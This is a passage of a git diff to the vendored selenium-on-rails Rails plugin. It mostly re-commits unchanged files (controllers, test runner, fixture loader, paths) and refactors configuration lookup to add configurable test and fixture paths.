-      send_file filename, :type => type, :disposition => 'inline', :stream => false
-    else
-      render :text => 'Not found', :status => 404
-    end
-  end
-
-  def record
-    dir = record_table
-
-    @result = {'resultDir' => dir}
-    ['result', 'numTestFailures', 'numTestPasses', 'numCommandFailures', 'numCommandPasses', 'numCommandErrors', 'totalTime'].each do |item|
-      @result[item] = params[item]
-    end
-    
-    File.open(log_path(params[:logFile] || 'default.yml'), 'w') {|f| YAML.dump(@result, f)}
-    
-    render :file => view_path('record.rhtml'), :layout => layout_path
-  end
-
-  def record_table
-    return nil unless result_dir = @config.get(:result_dir)
-
-    cur_result_dir = File.join(result_dir, (params[:logFile] || "default").sub(/\.yml$/, ''))
-    FileUtils.mkdir_p(cur_result_dir)
-    File.open("#{cur_result_dir}/index.html", "wb") do |f|
-      f.write <<EOS
-<html>
-<head><title>Selenium Test Result</title></head>
-<frameset cols="30%,*">
-<frame name="suite" src="suite.html">
-<frame name="testcase" src="blank.html">
-</frameset>
-</html>
-EOS
-    end
-    html_header = <<EOS
-<html>
-<head>
-<link rel="stylesheet" type="text/css" href="selenium-test.css">
-</head>
-<body>
-EOS
-    html_footer = "</body></html>\n"
-    if selenium_path
-      css_file = File.join selenium_path, "selenium-test.css"
-      if File.exist?(css_file)
-        FileUtils.cp css_file, cur_result_dir
-      end
-    end
-    File.open("#{cur_result_dir}/blank.html", "wb") do |f|
-      f.write "<html><body></body></html>"
-    end
-    File.open("#{cur_result_dir}/suite.html", "wb") do |f|
-      suite = params[:suite]
-      suite.sub!(/^.*(<table[\s>])/im, '\1')
-      i = 1
-      suite.gsub!(/(\shref=)"[^"]*"/i) do |m|
-        link = "#{$1}\"test#{i}.html\" target=\"testcase\""
-        File.open("#{cur_result_dir}/test#{i}.html", "wb") do |testcase|
-          testcase.write html_header
-          testcase.write(params["testTable.#{i}"])
-          testcase.write html_footer
-        end
-        i += 1
-        link
-      end
-      f.write html_header
-      f.write suite
-      f.write html_footer
-    end
-    cur_result_dir
-  end
-  
-  private :record_table
+require 'webrick/httputils'
+
+class SeleniumController < ActionController::Base
+  include SeleniumOnRails::FixtureLoader
+  include SeleniumOnRails::Renderer
+  
+  def initialize
+    @result_dir = SeleniumOnRailsConfig.get(:result_dir)
+  end
+  
+  def setup
+    unless params.has_key? :keep_session
+      reset_session #  IS THIS WORKING!  NO THINK SO
+      @session_wiped = true
+    end
+    @cleared_tables = clear_tables params[:clear_tables].to_s
+    @loaded_fixtures = load_fixtures params[:fixtures].to_s
+    render :file => view_path('setup.rhtml'), :layout => layout_path\
+  end
+
+  def test_file
+    params[:testname] = '' if params[:testname].to_s == 'TestSuite.html'
+    filename = File.join selenium_tests_path, params[:testname]
+    if File.directory? filename
+      @suite_path = filename
+      render :file => view_path('test_suite.rhtml'), :layout => layout_path
+    elsif File.readable? filename
+      render_test_case filename
+    else
+      if File.directory? selenium_tests_path
+        render :text => 'Not found', :status => 404
+      else
+        render :text => "Did not find the Selenium tests path (#{selenium_tests_path}). Run script/generate selenium", :status => 404
+      end
+    end
+  end
+
+  def support_file
+    if params[:filename].empty?
+      redirect_to :filename => 'TestRunner.html', :test => 'tests'
+      return
+    end
+
+    filename = File.join selenium_path, params[:filename]
+    if File.file? filename
+      type = WEBrick::HTTPUtils::DefaultMimeTypes[$1.downcase] if filename =~ /\.(\w+)$/
+      type ||= 'text/html'
+      send_file filename, :type => type, :disposition => 'inline', :stream => false
+    else
+      render :text => 'Not found', :status => 404
+    end
+  end
+
+  def record
+    dir = record_table
+
+    @result = {'resultDir' => dir}
+    ['result', 'numTestFailures', 'numTestPasses', 'numCommandFailures', 'numCommandPasses', 'numCommandErrors', 'totalTime'].each do |item|
+      @result[item] = params[item]
+    end
+    
+    File.open(log_path(params[:logFile] || 'default.yml'), 'w') {|f| YAML.dump(@result, f)}
+    
+    render :file => view_path('record.rhtml'), :layout => layout_path
+  end
+
+  def record_table
+    return nil unless @result_dir
+
+    cur_result_dir = File.join(@result_dir, (params[:logFile] || "default").sub(/\.yml$/, ''))
+    FileUtils.mkdir_p(cur_result_dir)
+    File.open("#{cur_result_dir}/index.html", "wb") do |f|
+      f.write <<EOS
+<html>
+<head><title>Selenium Test Result</title></head>
+<frameset cols="30%,*">
+<frame name="suite" src="suite.html">
+<frame name="testcase" src="blank.html">
+</frameset>
+</html>
+EOS
+    end
+    html_header = <<EOS
+<html>
+<head>
+<link rel="stylesheet" type="text/css" href="selenium-test.css">
+</head>
+<body>
+EOS
+    html_footer = "</body></html>\n"
+    if selenium_path
+      css_file = File.join selenium_path, "selenium-test.css"
+      if File.exist?(css_file)
+        FileUtils.cp css_file, cur_result_dir
+      end
+    end
+    File.open("#{cur_result_dir}/blank.html", "wb") do |f|
+      f.write "<html><body></body></html>"
+    end
+    File.open("#{cur_result_dir}/suite.html", "wb") do |f|
+      suite = params[:suite]
+      suite.sub!(/^.*(<table[\s>])/im, '\1')
+      i = 1
+      suite.gsub!(/(\shref=)"[^"]*"/i) do |m|
+        link = "#{$1}\"test#{i}.html\" target=\"testcase\""
+        File.open("#{cur_result_dir}/test#{i}.html", "wb") do |testcase|
+          testcase.write html_header
+          testcase.write(params["testTable.#{i}"])
+          testcase.write html_footer
+        end
+        i += 1
+        link
+      end
+      f.write html_header
+      f.write suite
+      f.write html_footer
+    end
+    cur_result_dir
+  end
+  
+  private :record_table
 end
\ No newline at end of file
diff --git a/vendor/plugins/selenium-on-rails/lib/controllers/switch_environment_controller.rb b/vendor/plugins/selenium-on-rails/lib/controllers/switch_environment_controller.rb
index 648bee42..67e8ae50 100644
--- a/vendor/plugins/selenium-on-rails/lib/controllers/switch_environment_controller.rb
+++ b/vendor/plugins/selenium-on-rails/lib/controllers/switch_environment_controller.rb
@@ -3,7 +3,7 @@ class SwitchEnvironmentController < ActionController::Base
     readme_path = File.expand_path File.join(File.dirname(__FILE__), '..', 'README')
     render :status => 500, :locals => {:readme_path => readme_path }, :inline => <<END
 <p>
-  Selenium on Rails is only activated for <%= SeleniumOnRailsConfig.new.get(:environments).join ', ' %>
+  Selenium on Rails is only activated for <%= SeleniumOnRailsConfig.get(:environments).join ', ' %>
   environment<%= SeleniumOnRailsConfig.get(:environments).size > 1 ? 's' : '' %> (you're running
   <%= RAILS_ENV %>).
 </p>
diff --git a/vendor/plugins/selenium-on-rails/lib/selenium_helper.rb b/vendor/plugins/selenium-on-rails/lib/selenium_helper.rb
index 1a66da7d..f3b1f3c7 100644
--- a/vendor/plugins/selenium-on-rails/lib/selenium_helper.rb
+++ b/vendor/plugins/selenium-on-rails/lib/selenium_helper.rb
@@ -1,8 +1,8 @@
-module SeleniumHelper
-  include SeleniumOnRails::SuiteRenderer
-  include SeleniumOnRails::FixtureLoader
-  
-  def test_case_name filename
-    File.basename(filename).sub(/\..*/,'').humanize
-  end
-end
+module SeleniumHelper
+  include SeleniumOnRails::SuiteRenderer
+  include SeleniumOnRails::FixtureLoader
+  
+  def test_case_name filename
+    File.basename(filename).sub(/\..*/,'').humanize
+  end
+end
diff --git a/vendor/plugins/selenium-on-rails/lib/selenium_on_rails.rb b/vendor/plugins/selenium-on-rails/lib/selenium_on_rails.rb
index 6b91847b..365d0034 100644
--- a/vendor/plugins/selenium-on-rails/lib/selenium_on_rails.rb
+++ b/vendor/plugins/selenium-on-rails/lib/selenium_on_rails.rb
@@ -1,11 +1,11 @@
-module SeleniumOnRails # :nodoc
-end
-
-require 'selenium_on_rails/selenese'
-require 'selenium_on_rails/test_builder'
-require 'selenium_on_rails/rselenese'
-require 'selenium_on_rails/suite_renderer'
-require 'selenium_on_rails/paths'
-require 'selenium_on_rails/fixture_loader'
-require 'selenium_on_rails/partials_support'
-require 'selenium_on_rails/renderer'
+module SeleniumOnRails # :nodoc
+end
+
+require 'selenium_on_rails/selenese'
+require 'selenium_on_rails/test_builder'
+require 'selenium_on_rails/rselenese'
+require 'selenium_on_rails/suite_renderer'
+require 'selenium_on_rails/paths'
+require 'selenium_on_rails/fixture_loader'
+require 'selenium_on_rails/partials_support'
+require 'selenium_on_rails/renderer'
diff --git a/vendor/plugins/selenium-on-rails/lib/selenium_on_rails/acceptance_test_runner.rb b/vendor/plugins/selenium-on-rails/lib/selenium_on_rails/acceptance_test_runner.rb
index a1130589..69afffda 100644
--- a/vendor/plugins/selenium-on-rails/lib/selenium_on_rails/acceptance_test_runner.rb
+++ b/vendor/plugins/selenium-on-rails/lib/selenium_on_rails/acceptance_test_runner.rb
@@ -1,214 +1,214 @@
-$: << File.expand_path(File.dirname(__FILE__) + "/")
-$: << File.expand_path(File.dirname(__FILE__) + "/../")
-require 'paths'
-require 'net/http'
-require 'tempfile'
-
-
-def c(var, default = nil) SeleniumOnRailsConfig.new.get var, default end
-def c_b(var, default = nil) SeleniumOnRailsConfig.new.get(var, default) { yield } end
-
-BROWSERS =              c :browsers, {}
-REUSE_EXISTING_SERVER = c :reuse_existing_server, true
-START_SERVER =          c :start_server, false  #TODO can't get it to work reliably on Windows, perhaps it's just on my computer, but I leave it off by default for now
-HOST =                  c :host, 'localhost'
-PORTS =                 c(:port_start, 3000)..c(:port_end, 3005)
-BASE_URL_PATH =         c :base_url_path, '/'
-TEST_RUNNER_URL =       c :test_runner_url, '/selenium/TestRunner.html'
-MAX_BROWSER_DURATION =  c :max_browser_duration, 2*60
-MULTI_WINDOW =          c :multi_window, false
-SERVER_COMMAND =      c_b :server_command do
-  server_path = File.expand_path(File.dirname(__FILE__) + '/../../../../../script/server')
-  if RUBY_PLATFORM =~ /mswin/
-    "ruby #{server_path} webrick -p %d -e test > NUL 2>&1"
-  else
-    # don't use redirects to /dev/nul since it makes the fork return wrong pid
-    # see UnixSubProcess
-    "#{server_path} webrick -p %d -e test"
-  end
-end
-
-module SeleniumOnRails
-  class AcceptanceTestRunner
-    include SeleniumOnRails::Paths
-  
-    def run
-      raise 'no browser specified, edit/create config.yml' if BROWSERS.empty?
-      start_server
-      has_error = false
-      begin
-        BROWSERS.each_pair do |browser, path|
-          log_file = start_browser browser, path
-          wait_for_completion log_file
-          stop_browser
-          result = YAML::load_file log_file
-          print_result result
-          has_error ||= result['numTestFailures'].to_i > 0
-          # File.delete log_file unless has_error
-        end
-      rescue
-        stop_server
-        raise
-      end
-      stop_server
-      raise 'Test failures' if has_error
-    end
-    
-    private
-      def start_server
-        PORTS.each do |p|
-          @port = p
-          case server_check
-            when :success
-              return if REUSE_EXISTING_SERVER
-              next
-            when Fixnum
-              next
-            when :no_response
-              next unless START_SERVER
-              do_start_server
-              return
-          end
-        end
-        raise START_SERVER ? 'failed to start server': 'failed to find existing server, run script/server -e test'
-      end
-      
-      def do_start_server
-        puts 'Starting server'
-        @server = start_subprocess(format(SERVER_COMMAND, @port))
-        while true
-          print '.'
-          r = server_check
-          if r == :success
-            puts
-            return
-          end
-          raise "server returned error: #{r}" if r.instance_of? Fixnum
-          sleep 3
-        end
-      end
-    
-      def server_check
-        begin
-          res = Net::HTTP.get_response HOST, TEST_RUNNER_URL, @port
-          return :success if (200..399).include? res.code.to_i
-          return res.code.to_i
-        rescue Errno::ECONNREFUSED
-          return :no_response
-        end
-      end
-    
-      def stop_server
-        return unless defined? @server
-        puts
-        @server.stop 'server'
-      end
-    
-      def start_browser browser, path
-        puts
-        puts "Starting #{browser}"
-        base_url = "http://#{HOST}:#{@port}#{BASE_URL_PATH}"
-        log = log_file browser
-        command = "\"#{path}\" \"http://#{HOST}:#{@port}#{TEST_RUNNER_URL}?test=tests&auto=true&baseUrl=#{base_url}&resultsUrl=postResults/#{log}&multiWindow=#{MULTI_WINDOW}\""
-        @browser = start_subprocess command    
-        log_path log
-      end
-      
-      def stop_browser
-        @browser.stop 'browser'
-      end
-      
-      def start_subprocess command
-        if RUBY_PLATFORM =~ /mswin/
-          SeleniumOnRails::AcceptanceTestRunner::Win32SubProcess.new command
-        elsif RUBY_PLATFORM =~ /darwin/i && command =~ /safari/i
-          SeleniumOnRails::AcceptanceTestRunner::SafariSubProcess.new command
-        else
-          SeleniumOnRails::AcceptanceTestRunner::UnixSubProcess.new command
-        end
-      end
-      
-      def log_file browser
-        FileUtils.mkdir_p(log_path(''))
-        (0..100).each do |i|
-          name = browser + (i==0 ? '' : "(#{i})") + '.yml'
-          return name unless File.exist?(log_path(name))
-        end
-        raise 'there are way too many files in the log directory...'
-      end
-    
-      def wait_for_completion log_file
-        duration = 0
-        while true
-          raise 'browser takes too long' if duration > MAX_BROWSER_DURATION
-          print '.'
-          break if File.exist? log_file
-          sleep 5
-          duration += 5
-        end
-        puts
-      end
-    
-      def print_result result
-        puts "Finished in #{result['totalTime']} seconds."
-        puts
-        puts "#{result['numTestPasses']} tests passed, #{result['numTestFailures']} tests failed"
-        puts "(Results stored in '#{result['resultDir']}')" if result['resultDir']
-      end
-        
-  end
-end
-
-class SeleniumOnRails::AcceptanceTestRunner::SubProcess
-  def stop what
-    begin
-      puts "Stopping #{what} (pid=#{@pid}) ..."
-      Process.kill 9, @pid
-    rescue Errno::EPERM #such as the process is already closed (tabbed browser)
-    end
-  end
-end
-
-class SeleniumOnRails::AcceptanceTestRunner::Win32SubProcess < SeleniumOnRails::AcceptanceTestRunner::SubProcess
-  def initialize command
-    require 'win32/open3' #win32-open3 http://raa.ruby-lang.org/project/win32-open3/
-
-    puts command
-    input, output, error, @pid = Open4.popen4 command, 't', true
-  end
-end
-
-class SeleniumOnRails::AcceptanceTestRunner::UnixSubProcess < SeleniumOnRails::AcceptanceTestRunner::SubProcess
-  def initialize command
-    puts command
-    @pid = fork do
-      # Since we can't use shell redirects without screwing 
-      # up the pid, we'll reopen stdin and stdout instead
-      # to get the same effect.
-      [STDOUT,STDERR].each {|f| f.reopen '/dev/null', 'w' }
-      exec command
-    end
-  end
-end
-
-# The path to Safari should look like this: /Applications/Safari.app/Contents/MacOS/Safari
-class SeleniumOnRails::AcceptanceTestRunner::SafariSubProcess < SeleniumOnRails::AcceptanceTestRunner::UnixSubProcess
-  def initialize command
-    f = File.open(Tempfile.new('selenium-on-rails').path, 'w')
-    f.puts <<-HTML
-      <html>
-        <head>
-          <script type="text/javascript" charset="utf-8">
-            window.location.href = #{command.split.last};
-          </script>
-        </head>
-        <body></body>
-      </html>
-    HTML
-    f.close
-    
-    super "#{command.split.first} #{f.path}"
-   end
-  
-end
-  
+$: << File.expand_path(File.dirname(__FILE__) + "/")
+$: << File.expand_path(File.dirname(__FILE__) + "/../")
+require 'paths'
+require 'net/http'
+require 'tempfile'
+
+
+def c(var, default = nil) SeleniumOnRailsConfig.get var, default end
+def c_b(var, default = nil) SeleniumOnRailsConfig.get(var, default) { yield } end
+
+BROWSERS =              c :browsers, {}
+REUSE_EXISTING_SERVER = c :reuse_existing_server, true
+START_SERVER =          c :start_server, false  #TODO can't get it to work reliably on Windows, perhaps it's just on my computer, but I leave it off by default for now
+HOST =                  c :host, 'localhost'
+PORTS =                 c(:port_start, 3000)..c(:port_end, 3005)
+BASE_URL_PATH =         c :base_url_path, '/'
+TEST_RUNNER_URL =       c :test_runner_url, '/selenium/TestRunner.html'
+MAX_BROWSER_DURATION =  c :max_browser_duration, 2*60
+MULTI_WINDOW =          c :multi_window, false
+SERVER_COMMAND =      c_b :server_command do
+  server_path = File.expand_path(File.dirname(__FILE__) + '/../../../../../script/server')
+  if RUBY_PLATFORM =~ /mswin/
+    "ruby #{server_path} webrick -p %d -e test > NUL 2>&1"
+  else
+    # don't use redirects to /dev/nul since it makes the fork return wrong pid
+    # see UnixSubProcess
+    "#{server_path} webrick -p %d -e test"
+  end
+end
+
+module SeleniumOnRails
+  class AcceptanceTestRunner
+    include SeleniumOnRails::Paths
+  
+    def run
+      raise 'no browser specified, edit/create config.yml' if BROWSERS.empty?
+      start_server
+      has_error = false
+      begin
+        BROWSERS.each_pair do |browser, path|
+          log_file = start_browser browser, path
+          wait_for_completion log_file
+          stop_browser
+          result = YAML::load_file log_file
+          print_result result
+          has_error ||= result['numTestFailures'].to_i > 0
+          # File.delete log_file unless has_error
+        end
+      rescue
+        stop_server
+        raise
+      end
+      stop_server
+      raise 'Test failures' if has_error
+    end
+    
+    private
+      def start_server
+        PORTS.each do |p|
+          @port = p
+          case server_check
+            when :success
+              return if REUSE_EXISTING_SERVER
+              next
+            when Fixnum
+              next
+            when :no_response
+              next unless START_SERVER
+              do_start_server
+              return
+          end
+        end
+        raise START_SERVER ? 'failed to start server': 'failed to find existing server, run script/server -e test'
+      end
+      
+      def do_start_server
+        puts 'Starting server'
+        @server = start_subprocess(format(SERVER_COMMAND, @port))
+        while true
+          print '.'
+          r = server_check
+          if r == :success
+            puts
+            return
+          end
+          raise "server returned error: #{r}" if r.instance_of? Fixnum
+          sleep 3
+        end
+      end
+    
+      def server_check
+        begin
+          res = Net::HTTP.get_response HOST, TEST_RUNNER_URL, @port
+          return :success if (200..399).include? res.code.to_i
+          return res.code.to_i
+        rescue Errno::ECONNREFUSED
+          return :no_response
+        end
+      end
+    
+      def stop_server
+        return unless defined? @server
+        puts
+        @server.stop 'server'
+      end
+    
+      def start_browser browser, path
+        puts
+        puts "Starting #{browser}"
+        base_url = "http://#{HOST}:#{@port}#{BASE_URL_PATH}"
+        log = log_file browser
+        command = "\"#{path}\" \"http://#{HOST}:#{@port}#{TEST_RUNNER_URL}?test=tests&auto=true&baseUrl=#{base_url}&resultsUrl=postResults/#{log}&multiWindow=#{MULTI_WINDOW}\""
+        @browser = start_subprocess command    
+        log_path log
+      end
+      
+      def stop_browser
+        @browser.stop 'browser'
+      end
+      
+      def start_subprocess command
+        if RUBY_PLATFORM =~ /mswin/
+          SeleniumOnRails::AcceptanceTestRunner::Win32SubProcess.new command
+        elsif RUBY_PLATFORM =~ /darwin/i && command =~ /safari/i
+          SeleniumOnRails::AcceptanceTestRunner::SafariSubProcess.new command
+        else
+          SeleniumOnRails::AcceptanceTestRunner::UnixSubProcess.new command
+        end
+      end
+      
+      def log_file browser
+        FileUtils.mkdir_p(log_path(''))
+        (0..100).each do |i|
+          name = browser + (i==0 ? '' : "(#{i})") + '.yml'
+          return name unless File.exist?(log_path(name))
+        end
+        raise 'there are way too many files in the log directory...'
+      end
+    
+      def wait_for_completion log_file
+        duration = 0
+        while true
+          raise 'browser takes too long' if duration > MAX_BROWSER_DURATION
+          print '.'
+          break if File.exist? log_file
+          sleep 5
+          duration += 5
+        end
+        puts
+      end
+    
+      def print_result result
+        puts "Finished in #{result['totalTime']} seconds."
+        puts
+        puts "#{result['numTestPasses']} tests passed, #{result['numTestFailures']} tests failed"
+        puts "(Results stored in '#{result['resultDir']}')" if result['resultDir']
+      end
+        
+  end
+end
+
+class SeleniumOnRails::AcceptanceTestRunner::SubProcess
+  def stop what
+    begin
+      puts "Stopping #{what} (pid=#{@pid}) ..."
+      Process.kill 9, @pid
+    rescue Errno::EPERM #such as the process is already closed (tabbed browser)
+    end
+  end
+end
+
+class SeleniumOnRails::AcceptanceTestRunner::Win32SubProcess < SeleniumOnRails::AcceptanceTestRunner::SubProcess
+  def initialize command
+    require 'win32/open3' #win32-open3 http://raa.ruby-lang.org/project/win32-open3/
+
+    puts command
+    input, output, error, @pid = Open4.popen4 command, 't', true
+  end
+end
+
+class SeleniumOnRails::AcceptanceTestRunner::UnixSubProcess < SeleniumOnRails::AcceptanceTestRunner::SubProcess
+  def initialize command
+    puts command
+    @pid = fork do
+      # Since we can't use shell redirects without screwing 
+      # up the pid, we'll reopen stdin and stdout instead
+      # to get the same effect.
+      [STDOUT,STDERR].each {|f| f.reopen '/dev/null', 'w' }
+      exec command
+    end
+  end
+end
+
+# The path to Safari should look like this: /Applications/Safari.app/Contents/MacOS/Safari
+class SeleniumOnRails::AcceptanceTestRunner::SafariSubProcess < SeleniumOnRails::AcceptanceTestRunner::UnixSubProcess
+  def initialize command
+    f = File.open(Tempfile.new('selenium-on-rails').path, 'w')
+    f.puts <<-HTML
+      <html>
+        <head>
+          <script type="text/javascript" charset="utf-8">
+            window.location.href = #{command.split.last};
+          </script>
+        </head>
+        <body></body>
+      </html>
+    HTML
+    f.close
+    
+    super "#{command.split.first} #{f.path}"
+   end
+  
+end
+  
diff --git a/vendor/plugins/selenium-on-rails/lib/selenium_on_rails/fixture_loader.rb b/vendor/plugins/selenium-on-rails/lib/selenium_on_rails/fixture_loader.rb
index 32f39f81..77cd6203 100644
--- a/vendor/plugins/selenium-on-rails/lib/selenium_on_rails/fixture_loader.rb
+++ b/vendor/plugins/selenium-on-rails/lib/selenium_on_rails/fixture_loader.rb
@@ -1,57 +1,57 @@
-require 'test/unit'
-require 'active_record'
-require 'active_record/fixtures'
-
-module SeleniumOnRails::FixtureLoader
-  include SeleniumOnRails::Paths
-  
-  def available_fixtures
-    fixtures = {}
-    path = fixtures_path + '/'
-    files = Dir["#{path}**/*.{yml,csv}"]
-    files.each do |file|
-      rel_path = file.sub(path, '')
-      next if skip_file? rel_path
-      fixture_set = File.dirname(rel_path)
-      fixture_set = '' if fixture_set == '.'
-      fixture = rel_path.sub /\.[^.]*$/, ''
-      fixtures[fixture_set] ||= []
-      fixtures[fixture_set] << fixture
-    end
-    
-    fixtures
-  end
-
-  def load_fixtures fixtures_param
-    available = nil
-    fixtures = fixtures_param.split(/\s*,\s*/).collect do |f|
-      fixture_set = File.dirname f
-      fixture_set = '' if fixture_set == '.'
-      fixture = File.basename f
-      if fixture == 'all'
-        available ||= available_fixtures
-        available[fixture_set]
-      else
-        f
-      end
-    end
-    fixtures.flatten!
-    fixtures.reject! {|f| f.blank? }
-
-    if fixtures.any?
-      Fixtures.reset_cache # in case they've already been loaded and things have changed
-      Fixtures.create_fixtures fixtures_path, fixtures
-    end
-    fixtures
-  end
-
-  def clear_tables tables
-    table_names = tables.split /\s*,\s*/
-    connection = ActiveRecord::Base.connection 
-    table_names.each do |table|
-      connection.execute "DELETE FROM #{table}" 
-    end
-    table_names
-  end
-  
-end
+require 'test/unit'
+require 'active_record'
+require 'active_record/fixtures'
+
+module SeleniumOnRails::FixtureLoader
+  include SeleniumOnRails::Paths
+  
+  def available_fixtures
+    fixtures = {}
+    path = fixtures_path + '/'
+    files = Dir["#{path}**/*.{yml,csv}"]
+    files.each do |file|
+      rel_path = file.sub(path, '')
+      next if skip_file? rel_path
+      fixture_set = File.dirname(rel_path)
+      fixture_set = '' if fixture_set == '.'
+      fixture = rel_path.sub /\.[^.]*$/, ''
+      fixtures[fixture_set] ||= []
+      fixtures[fixture_set] << fixture
+    end
+    
+    fixtures
+  end
+
+  def load_fixtures fixtures_param
+    available = nil
+    fixtures = fixtures_param.split(/\s*,\s*/).collect do |f|
+      fixture_set = File.dirname f
+      fixture_set = '' if fixture_set == '.'
+      fixture = File.basename f
+      if fixture == 'all'
+        available ||= available_fixtures
+        available[fixture_set]
+      else
+        f
+      end
+    end
+    fixtures.flatten!
+    fixtures.reject! {|f| f.blank? }
+
+    if fixtures.any?
+      Fixtures.reset_cache # in case they've already been loaded and things have changed
+      Fixtures.create_fixtures fixtures_path, fixtures
+    end
+    fixtures
+  end
+
+  def clear_tables tables
+    table_names = tables.split /\s*,\s*/
+    connection = ActiveRecord::Base.connection 
+    table_names.each do |table|
+      connection.execute "DELETE FROM #{table}" 
+    end
+    table_names
+  end
+  
+end
diff --git a/vendor/plugins/selenium-on-rails/lib/selenium_on_rails/partials_support.rb b/vendor/plugins/selenium-on-rails/lib/selenium_on_rails/partials_support.rb
index cf6c86d3..b9d557ef 100644
--- a/vendor/plugins/selenium-on-rails/lib/selenium_on_rails/partials_support.rb
+++ b/vendor/plugins/selenium-on-rails/lib/selenium_on_rails/partials_support.rb
@@ -1,36 +1,36 @@
-require 'selenium_on_rails/paths'
-
-module SeleniumOnRails::PartialsSupport
-  include SeleniumOnRails::Paths
-
-  # Overrides where the partial is searched for, and returns only the command table rows.
-  def render_partial(options)
-    pattern = partial_pattern options[:partial]
-    filename = Dir[pattern].first
-    raise "Partial '#{partial_path}' cannot be found! (Looking for file: '#{pattern}')" unless filename
-    partial = render :file => filename, :use_full_path => false, :locals => options[:locals]
-    extract_commands_from_partial partial
-  end
-
-  # Extracts the commands from a partial. The partial must contain a html table
-  # and the first row is ignored since it cannot contain a command.
-  def extract_commands_from_partial partial
-    partial = partial.match(/.*<table>.*?<tr>.*?<\/tr>(.*?)<\/table>/im)[1]
-    raise "Partial '#{name}' doesn't contain any table" unless partial
-    partial
-  end
-
-  private
-    # Generates the file pattern from the provided partial path.
-    # The starting _ and file extension don't have too be provided.
-    def partial_pattern partial_path
-      path = partial_path.split '/'
-      filename = path.delete_at(-1)
-      filename = '_' + filename unless filename.starts_with? '_'
-      filename << '.*' unless filename.include? '.'
-      pattern = selenium_tests_path + '/'
-      pattern << path.join('/') + '/' if path
-      pattern << filename
-    end
-
+require 'selenium_on_rails/paths'
+
+module SeleniumOnRails::PartialsSupport
+  include SeleniumOnRails::Paths
+
+  # Overrides where the partial is searched for, and returns only the command table rows.
+  def render_partial(options)
+    pattern = partial_pattern options[:partial]
+    filename = Dir[pattern].first
+    raise "Partial '#{partial_path}' cannot be found! (Looking for file: '#{pattern}')" unless filename
+    partial = render :file => filename, :use_full_path => false, :locals => options[:locals]
+    extract_commands_from_partial partial
+  end
+
+  # Extracts the commands from a partial. The partial must contain a html table
+  # and the first row is ignored since it cannot contain a command.
+  def extract_commands_from_partial partial
+    partial = partial.match(/.*<table>.*?<tr>.*?<\/tr>(.*?)<\/table>/im)[1]
+    raise "Partial '#{name}' doesn't contain any table" unless partial
+    partial
+  end
+
+  private
+    # Generates the file pattern from the provided partial path.
+    # The starting _ and file extension don't have too be provided.
+    def partial_pattern partial_path
+      path = partial_path.split '/'
+      filename = path.delete_at(-1)
+      filename = '_' + filename unless filename.starts_with? '_'
+      filename << '.*' unless filename.include? '.'
+      pattern = selenium_tests_path + '/'
+      pattern << path.join('/') + '/' if path
+      pattern << filename
+    end
+
 end
\ No newline at end of file
diff --git a/vendor/plugins/selenium-on-rails/lib/selenium_on_rails/paths.rb b/vendor/plugins/selenium-on-rails/lib/selenium_on_rails/paths.rb
index 39b52bed..5910ec43 100644
--- a/vendor/plugins/selenium-on-rails/lib/selenium_on_rails/paths.rb
+++ b/vendor/plugins/selenium-on-rails/lib/selenium_on_rails/paths.rb
@@ -1,60 +1,61 @@
-require 'selenium_on_rails_config'
-
-module SeleniumOnRails
-  module Paths
-    attr_accessor :config
-    
-    def selenium_path
-      @@selenium_path ||= find_selenium_path
-      @@selenium_path
-    end
-    
-    def selenium_tests_path
-      File.expand_path(File.join(RAILS_ROOT, 'test/selenium'))
-    end
-    
-    def view_path view
-      File.expand_path(File.dirname(__FILE__) + '/../views/' + view)
-    end
-  
-    # Returns the path to the layout template. The path is relative in relation
-    # to the app/views/ directory since Rails doesn't support absolute paths
-    # to layout templates.
-    def layout_path
-      'layout.rhtml'
-    end
-    
-    def fixtures_path
-      File.expand_path File.join(RAILS_ROOT, 'test/fixtures')
-    end
-    
-    def log_path log_file
-      File.expand_path(File.dirname(__FILE__) + '/../../log/' + File.basename(log_file))
-    end
-
-    def skip_file? file
-      file.split('/').each do |f|
-        return true if f.upcase == 'CVS' or f.starts_with?('.') or f.ends_with?('~') or f.starts_with?('_')
-      end
-      false
-    end
-    
-    private ###############################################
-
-    def find_selenium_path
-      sel_dirs = @config.get :selenium_path do
-        File.expand_path(File.dirname(__FILE__) + '/../../selenium-core')
-      end
-
-      sel_dirs.to_a.each do |seleniumdir|
-        ['', 'core', 'selenium', 'javascript'].each do |subdir|
-          path = File.join seleniumdir, subdir
-          return path if File.exist?(File.join(path, 'TestRunner.html'))
-        end
-      end
-      
-      raise 'Could not find Selenium Core installation'
-    end
-       
-  end
-end
+require 'selenium_on_rails_config'
+
+module SeleniumOnRails
+  module Paths
+    
+    def selenium_path
+      @@selenium_path ||= find_selenium_path
+      @@selenium_path
+    end
+    
+    def selenium_tests_path
+      return SeleniumOnRailsConfig.get("selenium_tests_path") if SeleniumOnRailsConfig.get("selenium_tests_path")
+      File.expand_path(File.join(RAILS_ROOT, 'test/selenium'))
+    end
+    
+    def view_path view
+      File.expand_path(File.dirname(__FILE__) + '/../views/' + view)
+    end
+  
+    # Returns the path to the layout template. The path is relative in relation
+    # to the app/views/ directory since Rails doesn't support absolute paths
+    # to layout templates.
+    def layout_path
+      'layout.rhtml'
+    end
+    
+    def fixtures_path
+      return SeleniumOnRailsConfig.get("fixtures_path") if SeleniumOnRailsConfig.get("fixtures_path")
+      File.expand_path File.join(RAILS_ROOT, 'test/fixtures')
+    end
+    
+    def log_path log_file
+      File.expand_path(File.dirname(__FILE__) + '/../../log/' + File.basename(log_file))
+    end
+
+    def skip_file? file
+      file.split('/').each do |f|
+        return true if f.upcase == 'CVS' or f.starts_with?('.') or f.ends_with?('~') or f.starts_with?('_')
+      end
+      false
+    end
+    
+    private ###############################################
+
+    def find_selenium_path
+      sel_dirs = SeleniumOnRailsConfig.get :selenium_path do
+        File.expand_path(File.dirname(__FILE__) + '/../../selenium-core')
+      end
+
+      sel_dirs.to_a.each do |seleniumdir|
+        ['', 'core', 'selenium', 'javascript'].each do |subdir|
+          path = File.join seleniumdir, subdir
+          return path if File.exist?(File.join(path, 'TestRunner.html'))
+        end
+      end
+      
+      raise 'Could not find Selenium Core installation'
+    end
+       
+  end
+end
diff --git a/vendor/plugins/selenium-on-rails/lib/selenium_on_rails/renderer.rb b/vendor/plugins/selenium-on-rails/lib/selenium_on_rails/renderer.rb
index 05b2e43a..76b770eb 100644
--- a/vendor/plugins/selenium-on-rails/lib/selenium_on_rails/renderer.rb
+++ b/vendor/plugins/selenium-on-rails/lib/selenium_on_rails/renderer.rb
@@ -1,20 +1,20 @@
-module SeleniumOnRails::Renderer
-  include SeleniumOnRails::Paths
-  
-  def render_test_case filename
